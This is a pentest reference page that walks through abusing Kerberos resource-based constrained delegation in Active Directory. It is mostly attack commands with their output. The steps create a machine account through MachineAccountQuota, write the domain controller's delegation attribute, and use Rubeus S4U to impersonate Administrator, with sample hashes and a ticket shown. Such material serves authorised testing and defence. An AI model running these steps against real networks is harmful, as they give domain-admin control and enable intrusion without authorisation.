Internal Network Pentest and IR Reference: kerberos delegation rbcd

# Kerberos Delegation - Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012.

> The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B.  <https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>

1. Import **Powermad** and **Powerview**

    ```powershell
    PowerShell.exe -ExecutionPolicy Bypass
    Import-Module .\powermad.ps1
    Import-Module .\powerview.ps1
    ```

2. Get user SID

    ```powershell
    $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
    $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
    $ACE
    ConvertFrom-SID $ACE.SecurityIdentifier

    # alternative (Windows/Linux)
    bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get writable --otype COMPUTER --detail | egrep -i 'distinguishedName|msds-allowedtoactonbehalfofotheridentity'
    ```

3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it

    ```powershell
    New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)

    # alternative (Windows/Linux)
    bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add computer swktest 'Weakest123*'
    ```

4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties

    ```powershell
    $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
    $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
    $Descriptor.DiscretionaryAcl

    # alternative (Windows/Linux)
    # use 'remove' instead of 'add' after exploit
    bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d crash.lab add rbcd 'dc01-ww2$' 'swktest$'
    ```

    ```ps1
    # alternative
    $SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

    # alternative
    StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
    ```

5. Use Rubeus to get hash from password

    ```powershell
    Rubeus.exe hash /[CREDENTIAL_REDACTED]' /user:swktest$  /domain:factory.lan
    [*] Input [CREDENTIAL_REDACTED]
    [*] Input username             : swktest$
    [*] Input domain               : factory.lan
    [*] Salt                       : FACTORY.LANswktest
    [*]       rc4_hmac             : F8E064CA98539B735600714A1F1907DD
    [*]       aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
    [*]       aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
    [*]       des_cbc_md5          : BA297CFD07E62A5E
    ```

6. Impersonate domain admin using our newly created machine account

    ```powershell
    .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
    .\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap

    [*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
    [*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
    [*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
    [*] Sending S4U2proxy request
    [+] S4U2proxy success!
    [*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':

        doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
        AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
        LmZhY3RvcnkubGFu

    [*] Action: Import Ticket
    [+] Ticket successfully imported!
    ```

## References

* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [A Case Study in Wagging the Dog: Computer Takeover - Will Schroeder - Feb 28, 2019](https://posts.specterops.io/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783)